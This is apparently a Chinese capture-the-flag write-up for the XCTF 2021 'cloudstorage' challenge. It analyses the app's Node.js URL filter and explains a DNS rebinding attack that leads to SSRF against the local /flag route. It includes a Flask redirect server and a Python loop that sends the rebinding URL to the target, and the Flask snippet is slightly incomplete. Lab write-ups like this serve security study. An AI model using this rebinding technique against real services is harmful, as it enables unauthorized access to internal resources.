[XCTF鲲鹏计算专场2021]cloudstorage
题目分析
题目给了源码,首先看 app.js 中的 /flag 路由:
app.get('/flag', function(req, res){
if (req.ip === '127.0.0.1') {
res.status(200).send(env.parsed.flag)
} else res.status(403).end('not so simple');
});
这里说请求的ip为127.0.0.1才可以获取flag,显然这大概率是一道SSRF的题目。
再看到关键的 panel.js 中的 /admin 路由:
app.post('/admin', (req, res) => {
if ( !req.body.fileurl || !check(req.body.fileurl) ) {
res.end("Invalid file link")
return
}
let file = req.body.fileurl;
//dont DOS attack, i will sleep before request
cp.execSync('sleep 5')
let options = {url : file, timeout : 3000}
request.get(options ,(error, httpResponse, body) => {
if (!error) {
res.set({"Content-Type" : "text/html; charset=utf-8"})
res.render("check", {"body" : body})
} else {
res.end( JSON.stringify({"code" : "-1", "message" : error.toString()}) )
}
});
})
POST 提交 fileurl 参数,首先调用 check()
进行 url 的验证,然后同步执行 sleep 5
命令,之后使用request
去访问并把访问的结果渲染进模板。
然后看 utils.js 中的 check()
函数:
const checkip = function (value) {
let pattern = /^\d{1,3}(\.\d{1,3}){3}$/;
if (!pattern.exec(value))
return false;
let ary = value.split('.');
for(let key in ary)
{
if (parseInt(ary[key]) > 255)
return false;
}
return true ;
}
const dnslookup = function(s) {
if (typeof(s) == 'string' && !s.match(/[^\w-.]/)) {
let query = '';
try {
query = JSON.parse(cp.execSync(`curl http://ip-api.com/json/${s}`)).query
} catch (e) {
return 'wrong'
}
return checkip(query) ? query : 'wrong'
} else return 'wrong'
}
const check = function(s) {
if (!typeof (s) == 'string' || !s.match(/^http\:\/\//))
return false
let blacklist = ['wrong', '127.', 'local', '@', 'flag']
let host, port, dns;
host = url.parse(s).hostname
port = url.parse(s).port
if ( host == null || port == null)
return false
dns = dnslookup(host);
if ( ip.isPrivate(dns) || dns != docker.ip || ['80','8080'].includes(port) )
return false
for (let i = 0; i < blacklist.length; i++)
{
let regex = new RegExp(blacklist[i], 'i');
try {
if (ip.fromLong(s.replace(/[^\d]/g,'').substr(0,10)).match(regex))
return false
} catch (e) {}
if (s.match(regex))
return false
}
return true
}
check()
主要逻辑如下:
url.parse()
解析通过- 利用公网上一个 dns 解析的 api 来解析,解析出的 ip 不能是私有 ip 并且必须等于 docker.ip
- 端口不能是 80 或者 8080
- 之后 for 循环匹配了一些黑名单关键字
这个地方是无法被绕过的。
DNS重绑定
当一个 url 被提交到 /admin 路由,题目干了两件事:
check()
内利用公网那个 api 对域名进行了第一次解析sleep 5
后,request.get () 访问 url 对域名进行了第二次解析
正如它的名字 “重绑”,攻击者准备一个域名,在 check 时解析到了题目的 ip 地址,于是理所当然的过了 check;之后,攻击者将其 “重新绑定” 到一个攻击者的 ip 或者内网 ip 或者本地 ip,再第二次访问时第二次解析,此时解析出来的 IP 已经被重绑到了新的 ip,于是就访问到了攻击者 / 内网 / 本地;这里的 sleep 本身也是一个助攻,因为这个时间差可以更利于重绑攻击的实现。
很多时候 DNS 重绑是先过 check 然后重绑到 127.0.0.1 来 SSRF。本题目的 SSRF 和常规 SSRF 的套路一致,但不能重绑到 127.0.0.1,因为本地是 80 端口,但是 check()
并不允许访问 80 端口;所以我们可以让它解析到攻击者的 ip 并且是非 80/8080 端口,当访问到攻击者时,利用 302 跳转到 http://127.0.0.1:80/flag,request 会默认 follow 这个 302 重定向,即可 SSRF 成功。
首先准备一台个人服务器,开放非 80/8080 端口 (我开的 2333),跳转到 http://127.0.0.1/flag
from flask import Flask
app = Flask(__name__)
def bb():
return "login fail", 301, [("Location", "http://127.0.0.1/flag")]
app.run("0.0.0.0", port=2333)
关于dns rebinding有很多现成的平台,也可以自己搭建,推荐使用 requestrepo.com 使用很简单且完全免费
我的服务器是81.x.x.x 现在我准备了一个域名,并且让他随机解析成题目的ip(这里我是本地在wsl复现)和我自己的81.x.x.x
然后提交 http://john.5mtra1wc.requestrepo.com:2333 到/admin路由(因为我起的用来重定向的web服务是40001端口的) 因为dns解析存在缓存、延迟等问题,可能需要多提交几次才可以成功,写脚本循环
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests as req
s = req.session()
url = "http://172.17.223.226:8000/admin"
data = {"fileurl" : "http://john.5mtra1wc.requestrepo.com:2333" }
while True:
try:
text = s.post(url=url, data=data, timeout=10).text
print(text)
if "flag{" in text:
exit(0)
except Exception as e :
print(e)
这里本地复现失败了,我的VPS一直接收不到请求